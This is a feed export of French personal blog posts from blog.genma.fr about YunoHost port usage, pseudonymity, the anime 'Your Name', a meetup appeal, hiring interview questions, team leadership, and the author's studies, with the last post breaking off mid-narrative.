# articles

feed_id: https://blog.genma.fr/?Yunohost-Pourquoi-les-ports-80-et-25-sont-ils-toujours-utilises
title: Yunohost - Pourquoi les ports 80 et 25 sont ils toujours utilisés ?
uri: Yunohost-Pourquoi-les-ports-80-et-25-sont-ils-toujours-utilisés
url: https://blog.genma.fr/?Yunohost-Pourquoi-les-ports-80-et-25-sont-ils-toujours-utilises
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2706.jpg?1510662676' width='150' height='79' />
		<div class='rss_texte'><p>Telle est la question que l'on trouve, <a href="https://forum.yunohost.org/t/why-are-port-25-and-80-still-used-in-yunohost/3792/" title="Forum YunoHost - Why are port 25 and 80 still used in Yunohost?">en anglais, sur le forum de YunoHost</a>.</p>
<p>La question est légitime car ces deux ports, ne présentent pas, par défaut, de connexion sécurisé. Pour avoir une connexion avec du chiffrement, il faudra passer par une connexion en httpS (et le port 443), ou en ImapS (et le port 993).</p>
<p>Une explication est donnée en anglais, par ljf, Groupe Core Dev (développeur du projet). Je la cite et je la traduit ci-dessous, la diffusion de l'information en langue française pouvant être utile au non anglophone.</p>
<p><i>Port 25 is necessary to send email to other unsecured smtp (if we close this port, some mails couldn't be delivered.</i></p>
<p><i><br class='autobr' />
Port 80 is needed by let's encrypt for the ACME challenge, by some YunoHost setup without internet connexion ( in Africa or Asia) which users need to be able to access page without warning, by some website which users are under the "TLS intermediate config" (not so old android device, XP...). In general application packagers make choice or not to redirect port 80 to HTTPS. Sometime just one part of the app (web administration) force https.</i></p>
<p><i>A new settings system has been introduce to be able to let more option to the yunohost administrator, but for now, there are no settings developped to let the admin to be able to configure it.</i></p>
<p><strong>Traduction libre</strong></p>
<p>Le port 25 est nécessaire pour envoyer un courriel à d'autres serveurs smtp qui eux ne sont pas sécurisés (si ce port est fermé, cela aura pour conséquence que certains mails ne puissent être livrés.</p>
<p>Le port 80 est nécessaire pour le challenge ACME de Let's Encrypt, et pour des cas d'installation YunoHost sans connexion internet (en Afrique ou en Asie) pour lesquelles les utilisateurs ont besoin d'accéder à la page de connexion sans avoir un avertissement, pour des mises à dispositions d'applications pour des utilisateurs qui n'ont pas accès au niveau de configuration nécessaire pour une connexion TLS (vieux appareil Android, XP ...). En général, les packageurs d'applications choisissent ou non de rediriger le port 80 vers HTTPS. Par défaut, une seule partie de l'application YunoHost (la partie administration Web) force une redirection vers https.</p>
<p>Un nouveau système de paramétrage a été introduit pour être en mesure de laisser plus de latitude à un administrateur yunohost, mais pour l'instant, il n'y a pas d'interface de développer permettant à l'administrateur d'être en mesure de le configurer.</p></div>
		
		


feed_id: https://blog.genma.fr/?Conference-Du-pseudonymat-au-pseudonyme
title: Conférence Du pseudonymat au pseudonyme
uri: Conférence-Du-pseudonymat-au-pseudonyme
url: https://blog.genma.fr/?Conference-Du-pseudonymat-au-pseudonyme
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2707.jpg?1511088550' width='150' height='79' />
		<div class='rss_texte'><p>le samedi 18 novembre, j'ai donc donné une conférence au <a href="https://2017.capitoledulibre.org/" title="Site du Capitole du libre">le Capitole du libre à ENSEEIHT de Toulouse</a>.</p>
<p> Le titre : "Du pseudonymat au pseudonyme..." <i>Pendant près de 15 ans, depuis mes débuts sur Internet, j'ai toujours fait de la gestion de mon identité numérique, séparant mon identité civile, Jérôme, de mon identité numérique, Genma, sous laquelle je tiens un blog. Ce pseudonymat a été maintenu malgré une activité publique plus importante au travers de différentes participations à des événements et des conférences, même si l'étanchéité entre ces deux identités était assez poreuse... Avec mon nouvel emploi, le choix d'outer ce pseudonymat et de passer au pseudonyme a été fait ? Pourquoi ? Dans quel but ? Quelles conséquences sur ma vie professionnelle, le fait que mon employeur sache que je suis Genma ? Le tout sur fond de retour d'expérience avec des réponses à des questions tells que quels sont les pièges rencontrés et à éviter dans le cadre du pseudonymat ? Ou encore en quoi le pseudonymat est-il différent de l'anonymat et du pseudonyme ?</i></p>
<p>J'avais fait un billet résumé précurseur de cette conférence (Voir à ce sujet <a href="https://blog.genma.fr/?Du-pseudonymat-au-pseudonyme" title="Du pseudonymat au pseudonyme">Du pseudonymat au pseudonyme</a>, où je m'explique en détail sur ce choix, les conséquences... )</p>
<p>Le support de la conférence est accessible en ligne :</p>
<!--[if !IE]><!--><iframe src="spip.php?page=pdfjs&id_document=2518" width="600" height="400" class="lecteurpdf lecteufpdf-2518spip_documents" name="pdf_2518" allowfullscreen></iframe><!--<![endif]--> <!--[if IE]><iframe src="media/b55dfbab.genma_pseudonymat_au_pseudonyme.pdf" data-original-source="https://blog.genma.fr/IMG/pdf/genma_pseudonymat_au_pseudonyme.pdf" width="600" height="400" class="lecteurpdf lecteufpdf-2518spip_documents" name="pdf_2518" allowfullscreen></iframe><![endif]-->
<p>Pour voir le support en plein écran, <a href="https://blog.genma.fr/spip.php?page=pdfjs&id_document=2518" "title="Voir le support de conférence en plein écran">cliquez ici</a>.</p></div>
		
		


feed_id: https://blog.genma.fr/?Kimi-no-na-wa-Your-Name
title: Kimi no na wa - Your Name
uri: Kimi-no-na-wa-Your-Name
url: https://blog.genma.fr/?Kimi-no-na-wa-Your-Name
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2680.jpg?1511264754' width='150' height='79' />
		<div class='rss_texte'><p><span class='spip_document_2519 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L400xH600/images-4-10292.jpg?1511337602' width='400' height='600' alt="" /></span></p>
<p><strong>Résumé</strong></p>
<p>Mitsuha est une lycéenne qui réside dans une petite ville située dans les montagnes. Elle vit aux côtés de sa petite s ?ur, sa grand-mère ainsi que son père, bien que ce dernier ne soit jamais à la maison à cause de son travail de maire. En réalité, sa vie ne lui convient pas et elle souhaiterait vivre à Tokyo. Taki est un lycéen qui habite à Tokyo et qui a un talent pour le dessin. Il vit une vie normale d'étudiant entouré d'amis et travaille même dans un petit restaurant italien. Mais un jour, il fait un rêve dans lequel il est dans la peau d'une jeune fille qui vit dans une ville en montagne. Mitsuha, quant à elle, fait également un rêve dans lequel elle est dans un corps d'un garçon tokyoïte.</p>
<p><strong>La critique du Genma</strong></p>
<p>Beaucoup de choses ont été dites et des critiques de qualité ont faites et sont disponibles en ligne, sur la qualité de l'animation etc. Je ne partagerai ici que mon ressenti.</p>
<p>J'ai eu plusieurs claques <i>anime</i> dans ma vie, un certain nombre avec les films d'animation des Studio Ghibli. Il y a eu des claques à la découverte des anime du Club Dorothée. Il y a Bd Expo en 1999, avec la découverte du clip de "On your mark". Et il y a eu cette soirée où j'ai lancé Kimi no na wa.</p>
<p>Au premier visionnage, je connaissais le résumé, disponible ci-dessus. Et ce résumé ne résume rien en fait. Il ne fait que donner les éléments de compréhension du début d'un scénario bien plus complexe qui va nous emporter pendant près de deux heures. Plusieurs fois, les larmes me sont venues aux yeux et j'ai pleuré, j'ai haï le scénariste et j'ai repleuré. Et j'en suis ressortis bouleversé. Ce film d'animation est entré directement dans mon top 5 des meilleurs animes ever. (Top non établi mais quand même). Sans spoiler, le scénario a un petit côté SF qui n'est pas sans me déplaire, qui est très bon, quoique par moment ça a été un peu compliqué à suivre.</p>
<p>Au deuxième visionnage, en français, j'ai pu apprécié la finesse et la découpe du scénario, sachant où on voulait me porter et ça a été tout aussi bien, l'émotion en moins, vu que je connaissais les moments clefs.</p>
<p>Je l'ai donc vu en VO et en VF, et j'ai ainsi pu juger de tout le travail de localisation d'adaptation pour retranscrire des sortes de jeu sur le mésusage de la langue quand Mitsuha est dans le coprs de Taki, donc en garçon. Ainsi, elle dit au début, lors de première rencontre avec les amis de Taki :<br class='autobr' />
"watashi..., watakushi..., boku..., ore ?"
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> watashi 私 poli et plus utilisé par la femme quoique restant mixte
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> watakushi 私 très poli (usité par les hommes d'affaires par exemple)
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> boku 僕 masculin / courant
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> ore 俺 familier<br class='autobr' />
On passe donc d'une forme féminine qui surprend les camarades à des formes masculines mais trop polies ou soutenues (qui reflètent l'éducation de Mitsuha) pour pour finir par un mot familier utilisé par les jeunes Tokyoîtes.</p>
<p>Pour retranscrire ça, très belle astuce d'avoir choisi de transformer ça en "J'ai été distraite, étourdie, rêveuse..., étourdie ?", le dernier adjectif sonnant alors masculin à l'oral. On perd le côté éducation de Mitsuha pour ne garder que la problématique de genre, mais c'est déjà mieux que rien.</p>
<p>Ce film incarne tout ce que j'ai toujours aimé dans les anime Japonais, depuis que je suis enfant, avec les thématiques des amours non dit. Ou le romantisme <i>à la japonaise</i>. C'est en effet <i>très japonais</i> dans la relation entre les personnages. Et <i>ce type de relation</i> a un impact assez fort dans le scénario.</p>
<p>Du même auteur, j'ai vu également 5 Centimètres par seconde, film antérieur décomposé en trois parties avec lequel Your name a certaine similitude. Mais Your Name, sortie après, va donc plus loin dans la relation entre les personnages.</p>
<p>Bref si vous ne l'avez pas vu, je vous le recommande. Quand à moi, je continuerai de rattraper mon retard en regardant un à un les différents film de Makoto Shinkai.</p>
<p>Disponible à la vente en Blu-Ray/DVD en France chez All The Anime.</p></div>
		
		


feed_id: https://blog.genma.fr/?Un-Meetup-Yunohost-Appel-pour-aider-ce-projet
title: Un Meetup Yunohost ? Appel pour aider ce projet
uri: Un-Meetup-Yunohost-Appel-pour-aider-ce-projet
url: https://blog.genma.fr/?Un-Meetup-Yunohost-Appel-pour-aider-ce-projet
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2708.jpg?1511604462' width='150' height='79' />
		<div class='rss_texte'><p><strong>Présentation du Meetup</strong></p>
<p><i>Qu'est ce que le projet #Yunohost ? En quoi est-il facile de se créer un #cloud personnel et de passer à l'autohébergement ? Quelles sont les contraintes ? Comment et pourquoi doit-on décentraliser Internet ? Quel est le rapport avec #Framasoft et #DégooglisonsInternet ? Et avec la #BriqueInternet ? Comment s'approprier ce projet et contribuer ? Comment packager une application ?</i></p>
<p><strong>Durée : 1h30 de présentation</strong> suivie des questions</p>
<p><strong>Objectif de date : courant janvier 2018.</strong></p>
<p><strong>Présentation de Yunohost</strong></p>
<p>Je parle assez régulièrement de Yunohost sur ce blog, pour le reste je vous renvoie sur le site Internet <a href="http://yunohost.org/" title="http://yunohost.org/">http://yunohost.org/</a>. Toutefois, en quelques mots et en résumé, Yunohost c'est le système qui fait tourner la Brique Internet, mais pas que. Yunohost est <i>une surcouche</i> à Debian mais reste du Debian (ce sont <i>juste des scripts</i> en plus). Framasoft dédié une journée de temps d'un de ses salariés durant laquelle, chaque semaine, du travail est fait pour packager les applications (ajouter des scripts shell simples qui permettent une installation et configuration des applications dans Yunohost).</p>
<p><strong>Ce dont j'ai besoin ?</strong></p>
<p>Je recherche actuellement lieu pour accueillir le meetup le temps d'une soirée. Il n'y a pas de budget pour cette soirée, le lieu doit donc être gratuit et je compte sur la bonne volonté des participant.e.s pour apporter un petit quelque chose à grignoter. Le lieu doit être facile d'accès (idéalement sur Paris) et mettre à disposition un vidéo-projeteur (ou un système de projection équivalent) et une connexion à Internet.</p>
<p>Remarque : le lieu d'accueil pourra faire sa promotion (principe du meetup).</p>
<p><strong>Aider le projet ?</strong></p>
<p>Si votre entreprise peut accueillir ce meetup, si vous voulez m'aider à trouver un lieu d'accueuil, si vous voulez m'aider à accueillir les personnes lors de cette soirée, vous êtes le.la bienvenu.e et je vous invite à me contacter.</p>
<p><strong>Foire aux questions</strong></p>
<p>Je compléterai cette série de questions en fonction des retours et demandes que je recevrai. Date de dernière mise à jour : le lundi 27 novembre 2017</p>
<p><strong>Pourquoi ne pas le faire au sein de ton entreprise ?</strong></p>
<p>Ce projet est un projet personnel et sera fait sur mon temps personnel et d'un commun accord avec mon employeur, je souhaite séparer mes activités professionnelles de mes activités personnelles.</p>
<p><strong>Pourquoi un meetup et pas...</strong></p>
<p>L'appellation meetup est le buzzword à la mode et l'objectif est d'organiser une soirée qui regroupera des personnes de la communauté Yunohost tout comme d'attirer des personnes ne connaissant pas le projet mais ayant l'habitude de participer aux événements regroupés sous l'appellation <i>Meetup</i>.</p>
<p><strong>Est-il possible d'intervenir dans cette soirée</strong></p>
<p>Le support de présentation du meetup est quasiment réalisé. Je suis pour l'instant à la recherche d'aide sur l'organisation du projet en lui-même, plus que sur le contenu. Une intervention pourra être envisagé via un travail commun par rapport au contenu déjà préparé.</p>
<p><strong>Comment on s'inscrit ? </strong></p>
<p>Faites signe et je mettrai en place une liste de diffusion par mail. Et pour l'inscription, je lancerai très probablement un framadate.</p></div>
		
		


feed_id: https://blog.genma.fr/?Your-name-Explication-de-la-scene-du-crepuscule
title: Your name - Explication de la scène du crépuscule
uri: Your-name-Explication-de-la-scène-du-crépuscule
url: https://blog.genma.fr/?Your-name-Explication-de-la-scene-du-crepuscule
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2712.jpg?1511787647' width='150' height='79' />
		<div class='rss_texte'><p>Ju, <a href="https://twitter.com/FortyJu" title="">@FortyJu</a> sur Twitter a fait un excellent thread d'explication de <i>la scène du crépuscule du film d'animation Your Name - Kimi no na wa</i> <br class='autobr' />
<a href="https://blog.genma.fr/?Kimi-no-na-wa-Your-Name" title="Kimi no na wa - Your Name Ma critique">Lire ma critique de Kimi no na wa - Your Name</a></p>
<p>Comme cette personne n'a pas de blog et que nous sommes plusieurs à avoir demandé à regroupé ses messages en un seul et même texte, j'ai demandé et ai eu son accord. Voici donc le thread ayant pour <br class='autobr' />
source <a href="https://twitter.com/FortyJu/status/934761917536702465" title="">https://twitter.com/FortyJu/status/934761917536702465</a> regroupé en un seul message :)</p>
<p><i>DEBUT DE CITATION</i></p>
<p>Une amie japonaise sur Twitter m'a expliqué un peu plus en détail la scène du crépuscule dans Your name, et j'ai trouvé ça très intéressant donc j'ai voulu traduire (pour m'entraîner) et partager (avec son accord). Peut être que beaucoup le savaient déjà cependant il y a peut être certaines erreurs de traduction et de compréhension de ma part.</p>
<p>Donc, dans la scène de la salle de classe au début du film, la professeure explique l'origine de 黄昏時　(tasogaredoki) signifiant le crépuscule. A côté, sur le tableau, figure 万葉集　(manyôshû) qui est un recueil de poèmes datant des siècles IV à VIII. Donc, comme expliqué dans le film, 黄昏 (tasogare), le crépuscule, s'écrivait auparavant 誰そ彼　(tasogare) le premier caractère veut dire "qui ?" (dare), et le deuxième est le pronom utilisé pour "il" (kare) Dans ce recueil manyôshû, figure ce poème 誰そ彼 (tasogare)</p>
<p>誰(た)そ彼と<br class='autobr' /> われをな問ひそ 九月(ながつき)の <br class='autobr' />
露に濡れつつ<br class='autobr' /> 君待つわれそ</p>
<p>traduit (très) simplement par</p>
<p>Ne me demande pas qui suis-je<br class='autobr' />
En ce crépuscule du mois de septembre<br class='autobr' />
J'attends mon bien aimé</p>
<p>ce 誰そ彼, a donc la signification de "qui es-tu", et du crépuscule, car dans l'ancien temps, le crépuscule était considéré comme l'heure où le vivant et non vivant se rencontraient, mais ne pouvaient pas se distinguer l'un de l'autre. Cette période était donc propice à demander "qui es tu ?"</p>
<p>La personne qui a écrit ce poème était une femme. Aujourd'hui en japonais, on utilise le prénom de l'autre plutôt qu'un pronom (comme en français), qui est considéré plutôt irrespectueux si on connaît le nom de l'autre. Mais à l'époque utiliser le nom d'une autre personne, était plutôt perçu comme une demande en mariage, une déclaration d'amour. Répondre à cet appel signifiait accepter la demande. Cette femme, qui attendait quelqu'un, répondait donc "ne m'appelez pas par mon nom".</p>
<p>Quand on sait tout ça, la scène du crépuscule dans le film prend tout son sens, le 誰そ彼　étant devenu 君の名は　kimi no na wa, quel es ton nom ?, Mitsuha étant morte a ce moment et Taki vivant, ils se retrouvent et se dévoilent leurs sentiments en criant les prénoms de l'autre 誰そ彼　tasogare a comme expliqué dans le film une variante, 彼は誰　kawatare, signifiant également "qui es-tu".</p>
<p>Et dans le film, kawatare est dialectisé en kataware. Il est également amusant de remarquer que, 万葉集, manyôshû, qui veut dire le recueil de 1000 feuilles, peut être corrélé à Mitsuha, qui dans sa famille reprennent le kanji 葉　qui signifie la feuille (Mitsuha, Yotsuha, etc).</p>
<p><span class='spip_document_2523 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/local/cache-vignettes/L400xH400/yourname_thread03-2-3df60.jpg?1511787998' width='400' height='400' alt="" /></span></p>
<p>Il me semble également avoir vu un 二葉　ou 一葉　quand Taki consulte la liste des victimes quand il est à la recherche de Mitsuha, MAIS je ne suis pas sûr Egalement, on peut supposer que la femme qui a écrit le poème n'était autre que... Mitsuha, dans une ancienne ancienne ancienne vie (zenzenzense, 前前前世)</p>
<p>De plus, au début du film, quand Mitsuha prend la place de Taki et qu'elle dit qu'elle ne se souvient plus trop de ce qu'il s'est passé, Tessie lui fait la blague "Je sais ! Tu as rêvé de ton ancienne vie"</p>
<p>VOILA, il y a peut être des erreurs dûes à ma compréhension, rien d'exhaustif, peut être des choses qui vous semblaient évidentes, mais moi j'ai trouvé ça intéressant alors j'ai voulu le partager</p>
<p>Rectification, la grand mère s'appelle Hitoha 一葉 et on peut supposer que la mère de Mitsuha s'appelait 二葉</p>
<p><span class='spip_document_2524 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/jpg/yourname_thread01-2.jpg?1511788040' width='500' height='281' alt="" /></span></p>
<p>Correction : 万 man signifie bien sûr 10 000 et pas 1000 comme précédemment indiqué. De plus, le poème parle d'un crépuscule du mois de septembre. Après vérification, il se trouve que les dates des notes dans la téléphone de Taki, écrites par Mitsuha, correspondent bien au mois de septembre 2016. Sauf pour le 11, qui est écrite par Taki "petit boulot", qui doit correspondre à un mois différent.</p>
<p><i>FIN DE CITATION</i></p>
<p><strong>Encore merci à JuJu, <a href="https://twitter.com/FortyJu" title="">@FortyJu</a>, pour avoir accepter cette publication !</strong></p></div>
		
		


feed_id: https://blog.genma.fr/?Faire-passer-des-entretiens-mes-quelques-questions-subjectives
title: Faire passer des entretiens - mes quelques questions subjectives
uri: Faire-passer-des-entretiens-mes-quelques-questions-subjectives
url: https://blog.genma.fr/?Faire-passer-des-entretiens-mes-quelques-questions-subjectives
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2713.jpg?1511944093' width='150' height='79' />
		<div class='rss_texte'><p>Je fais passer beaucoup d'entretien de recrutement et beaucoup sont les personnes passionnées et motivées... Je travaille dans une entreprise différente de beaucoup d'autres vu que nous travaillons avec et pour le logiciel libre. Et les personnes de mon réseau qui nous ont rejoint (Obiwan, Stan...) pourraient en témoigner. Je cherche donc des personnes passionnées et motivées, la majorité des candidats le sont, mais n'ont pas le petit plus.</p>
<p><strong>Le test technique</strong></p>
<p>Il y a un questionnaire technique : 80 questions de type QCM à faire en 30 minutes. Et il est impossible de le faire en 30 min. De part la longueur et de part la diversité des thèmes : il faut être développeur Web, sys admin, connaître la configuration d'un DNS ou de nginx, avoir de la culture générale en logiciel libre (des questions bonus) si l'on veut pouvoir répondre à tout. Et ce n'est pas le but. Pour les postes d'administrateur système, j'attends des réponses à des questions précises minimales, le reste est du bonus, il y a des questions de culture générale, un peu d'humour. Je n'enlève pas de points. Je compte les demi-points. Le candidat doit sauter les questions pour lesquelles il ne connaît pas la réponse / ne connaît pas le thème. Les thèmes répondus ou non permettent de jauger les spécificités, points forts et faibles du candidat.</p>
<p>Durant le test, je regarde l'attitude du candidat : gestion du temps (regarde sa montre ?), du stress, est-ce qu'il se relit ?</p>
<p>J'ai un barème et en dessous d'un certain niveau, le test éliminatoire.</p>
<p>Pour des raisons de confidentialité non le test ne sera pas mis en ligne. Et non je ne peux pas l'envoyer juste pour tester. Le quizz et son résultat figurent dans le dossier de candidature et il faut donc faut le faire sérieusement. Il contribue à l'appréciation / évaluation et à la prise de décision de donner suite ou non à l'entretien..</p>
<p>Toutes les personnes nouvellement embauchées ces derniers mois ont passées ce test et l'ont réussi. Ces personnes s'avèrent douées et efficaces, ayant le bagage nécessaire au travail au quotidien (qui est loin d'être facile), la preuve que le test marche.</p>
<p><strong>Le test subjectif</strong></p>
<p>Si le test n'est pas bon, il faut tout de même pouvoir détecter un candidat avec du potentiel, intéressant. Un candidat peut être jeune, ne pas avoir beaucoup de connaissances ou d'expériences mais être quelqu'un qui montera vite en compétence... Je cherchais donc un autre test rapide plus subjectif pour compenser et jauger la personne et son appétence / passion pour le logiciel libre. Et j'ai trouvé.</p>
<p>5 questions simples permettant la libre expression. Ces questions je les mets en ligne ci-dessous. Donc les personnes qui me connaissent pourront si elles le souhaitent préparer cette partie de l'entretien. Mais selon les réponses seront compléter avec des questions complémentaires lors de l'entretien (vous dites lire.... Vous dites utiliser tel navigateur... Quelles sont les spécificités ?)</p>
<p>Je lance ça ce soir avec les prochains entretiens. Je ne vous donne pas les réponses que j'attends. Quand aux réponses que j'aurai je ferai sûrement une compilation des meilleures réponses, ça peut être intéressant...</p>
<p><strong>Les questions</strong></p>
<p><strong>Faites vous de la veille ? Si oui comment ? Quels sites consultez-vous régulièrement ?</strong></p>
<p><strong>Quel est votre navigateur Web et pourquoi ?</strong></p>
<p><strong>Quelles distributions GNU/Linux utilisez-vous et pourquoi ?</strong></p>
<p><strong>Citez trois personnalités (créateur, développeur, Blogger) du logiciel libre et justifiez votre choix.</strong></p>
<p><strong>Question bonus : quelle(s) différence(s) entre le logiciel libre (free software) et l'opensource ? Expliquez.</strong></p></div>
		
		


feed_id: https://blog.genma.fr/?Je-suis-chef-d-equipe-tu-nous-rejoins
title: Je suis chef d'équipe ; tu nous rejoins ?
uri: Je-suis-chef-d-équipe-tu-nous-rejoins
url: https://blog.genma.fr/?Je-suis-chef-d-equipe-tu-nous-rejoins
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2631.jpg?1489503372' width='150' height='79' />
		<div class='rss_texte'><p>En plus de <a href="https://blog.genma.fr/?Premiere-semaine-dans-ma-nouvelle-vie" title="Première semaine dans ma nouvelle vie">mon travail d'architecte dans le logiciel libre, ce pour quoi j'ai été recruté</a>, je suis depuis peu chef de l'équipe intégration.</p>
<p>C'est un peu par hasard et très rapidement qu'il a été décidé que je deviendrai le chef d'équipe. Mes méthodologies et mon organisation issue du Lifehacking, ma volonté de transmettre mon savoir (j'ai déjà pour projet de faire des mini-conférences le midi pour partager avec mes collègues mes connaissances et leur apprendre plein de choses que beaucoup ne connaissent pas) ont convaincu et je suis donc chef d'équipe. On me fait confiance, on me délègue des tâches, je prends des initiatives et c'est apprécié.</p>
<p>Actuellement, je suis donc en train de reprendre la gestion des équipes, faire le suivi des projets en cours, préparer les projets à venir en participant à la rédaction de réponses à des appels d'offres pour la partie technique. Je fais des points réguliers avec les membres de l'équipe pour m'approprier leurs projets, comprendre ce qu'ils font et ont à faire. Mon expérience de plus de 12 ans dans une SSII, toute la maturité acquise au fur et à mesure d'expériences parfois difficile, je peux enfin en tirer partie et profit, pour moi mais aussi pour d'autres personnes... En effet, j'encadre des personnes de l'équipe qui sont assez jeunes et peu expérimentées. Je leur apprend donc des bonnes pratiques, je leur donne des conseils, je leur montre comment je m'organise pour gérer en parallèle plusieurs tâches et projets. Je les aide à sortir la tête de l'eau pour reprendre leur souffle, se poser, voir où ils en sont et obtenir de leur part un peu de visibilité sur leur suivi des tâches au quotidien.</p>
<p>Je partage, j'aide, j'essaie de reprendre ce que j'aimais dans leurs façons de gérer les équipes chez des chefs de projets que j'ai et que je considère comme mes mentors. J'applique le contraire des mauvaises méthodes que certains chefs de projets ont pu avoir. J'essaie d'être quelqu'un de conciliant, à l'écoute, tout en montrant que je suis exigeant et des attentes. Je fais confiance, je délègue, je responsabilise mais aide aussi à gagner en responsabilité, à pouvoir répondre à mes attentes... Et ça marche.</p>
<p>J'en profite pour faire le point avec moi-même, voir où j'en suis et le chemin parcouru. Et je repense à toutes ces personnes qui m'ont portées, aidées à grandir durant ma première vie professionnel et en début de carrière. Je repense à toutes ces expériences personnelles et associatives qui m'ont aidée à acquérir de l'expérience dans le monde du logiciel libre et à être à l'aise professionnellement actuellement. Je sais la chance que j'ai eu de rencontrer une équipe dirigeante qui a su comprendre ma bonne volonté, mes envies, mes attentes et mon potentiel. Et je me sens valorisé, compris. Épanoui.</p>
<p>Enfin, je profite de ce billet de blog pour rappeler, comme j'ai déjà pu le dire sur les réseaux sociaux, que mon entreprise recrute. Le site de l'ami Carl Chenet, qui fait des projets super cool qui m'ont permis d'apprendre des choses en Python (merci encore Carl), LinuxJobs, a un certain nombre d'annonces. Et il y a des postes ouverts pour travailler avec moi ! Jetez un coup d'œil ci sur le site <a href="https://www.linuxjobs.fr/search/Linagora" title="Les annonces Linagora">linuxjobs.fr</a>, postulez et si vous êtes une personne motivée, enthousiaste, qui a des projets personnels et qui sait faire la différence, avec un peu de chance (et surtout grâce à vos qualités personnelles et professionnelles), vous serez amener à travailler avec moi. Et c'est là tout le mal que je vous souhaite :)</p></div>
		
		


feed_id: https://blog.genma.fr/?Mes-etudes
title: Mes études
uri: Mes-études
url: https://blog.genma.fr/?Mes-etudes
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2714.jpg?1511987029' width='150' height='79' />
		<div class='rss_texte'><p>En janvier 2015, je postais le billet <a href="https://blog.genma.fr/?Menage-sur-ce-blog" title="Ménage sur ce blog">Ménage sur ce blog</a> dans lequel j'évoquais le pourquoi de l'effacement de certains billets sur le blog. J'ai gardé les archives effacées, remis certains billets en ligne. Le contenu ci-dessous avait été publié fin novembre 2013. 4 ans après, je fais donc le choix de le remettre en ligne. En effet, pour répondre à un appel d'offre international, dans le cadre de la réponse et des profils qui pourraient travailler pour la mission, il est demandé à ce que chaque entreprise fournisse une copie certifiée des diplômes des membres de l'entreprise préssentis.</p>
<p>Mon entreprise avait déjà un scan, mais pour pouvoir faire une copie certifiée conforme, j'ai du ressortir mes derniers diplômes. Et de ce fait, je me suis replongé dans mes souvenirs et dans mon parcours et ce qui m'avait amené les obtenir. Voici donc mon histoire. Puisse ce partage de parcours aider d'autres personnes...</p>
<p><strong>Les années lycées</strong></p>
<p>Après le collège où j'étais parmi les bons élèves, je suis allé au lycée et en seconde, j'ai choisi l'option Sciences Economiques et Sociales. Ça me plaisait beaucoup, j'étais le deuxième de la matière puis premier. A la fin de l'année scolaire, j'avais le choix entre faire une première S et une première ES. J'ai choisi la filière S pour avoir plus de choix par la suite, car je ne savais pas ce que je voulais faire... J'ai donc fait une première scientifique, avec option Sciences Expérimentales. Je n'étais pas bon en math et en physiques, j'avais la moyenne, sans plus. J'ai donc choisi la spécialisation en biologie pour l'année de terminale. J'ai eu mon Bac avec Mention Assez bien car j'ai eu une bonne note en physiques (le prof nous ayant fait faire des exercices niveaux prépa toute l'année, j'avais trouvé le sujet facile) et en philo (j'avais adoré cette matière et eu de très bon résultat toute l'année). Le reste, j'avais un peu plus que la moyenne, sans plus.</p>
<p><strong>Les années biologie à l'Université</strong></p>
<p>Comme je ne savais pas ce que je voulais faire, je suis allé à la fac. J'ai donc commencé un DEUG de Biologie. Que j'ai fait en trois ans (au lieu de deux) car j'ai redoublé deux semestres. Je n'étais pas à l'aise à la fac, l'absence d'encadrement, le fait d'être laissé à moi-même... à fait que je ne travaillais pas mes tds, je révisais mes partiels au dernier moment. Moi qui avait été un élève sérieux durant toute ma scolarité, faisant consciencieusement mes devoirs, ayant des bonnes notes, je découvrais la liberté. Et j'en ai payé le prix par un redoublement.</p>
<p>La Biologie ne me plaisait pas vraiment, je n'aimais pas faire des expériences et autres manipulations. Mais je ne savais pas ce que je voulais faire. Enfin si, j'avais trouvé. J'ai voulu m'inscrire en licence de communication scientifique (accessible après le DEUG). Car j'aimais les sciences et j'aimais écrire... (mais je n'avais pas encore mon blog, cela viendra plus tard). Pendant que d'autres faisaient des stages en laboratoires à trier des mouches ou cultiver des levures, moi, j'ai fait différents stages dans le domaine de la communication scientifique (musée scientifiques, association de vulgarisation dans les écoles) et j'ai rencontré des gens qui avaient suivi ce diplôme. Cette licence permettait ensuite de faire une maîtrise et un DESS, pour avoir un Bac+5. Cela me disait bien.</p>
<p>J'ai présenté mon dossier, tenté le concours écrit. Que je n'ai pas eu. Je me suis dit que je retenterai l'année d'après, alors j'ai fait une licence de Biologie, histoire de passer le temps. A la fin de l'année scolaire, je n'ai pas été pris. Je n'avais pas eu ma licence, j'ai donc refait ma licence de Biologie, me disant que je rejoindrais la branche communication scientifique l'année suivante. J'ai donc eu ma licence de Biologie en deux ans, au rattrapage. Comme j'avais seulement un Bac +3 après 5 ans d'études, j'ai continué sur une maîtrise de biologie (Bac +4). Comme je voulais toujours faire de la vulgarisation scientifique (journalisme, entre autre), qu'il fallait avoir un bagage scientifique conséquent pour pouvoir intégrer un DESS (devenu depuis un Master 2ème année) et rattraper la branche communication scientifique, j'ai eu ma maîtrise.</p>
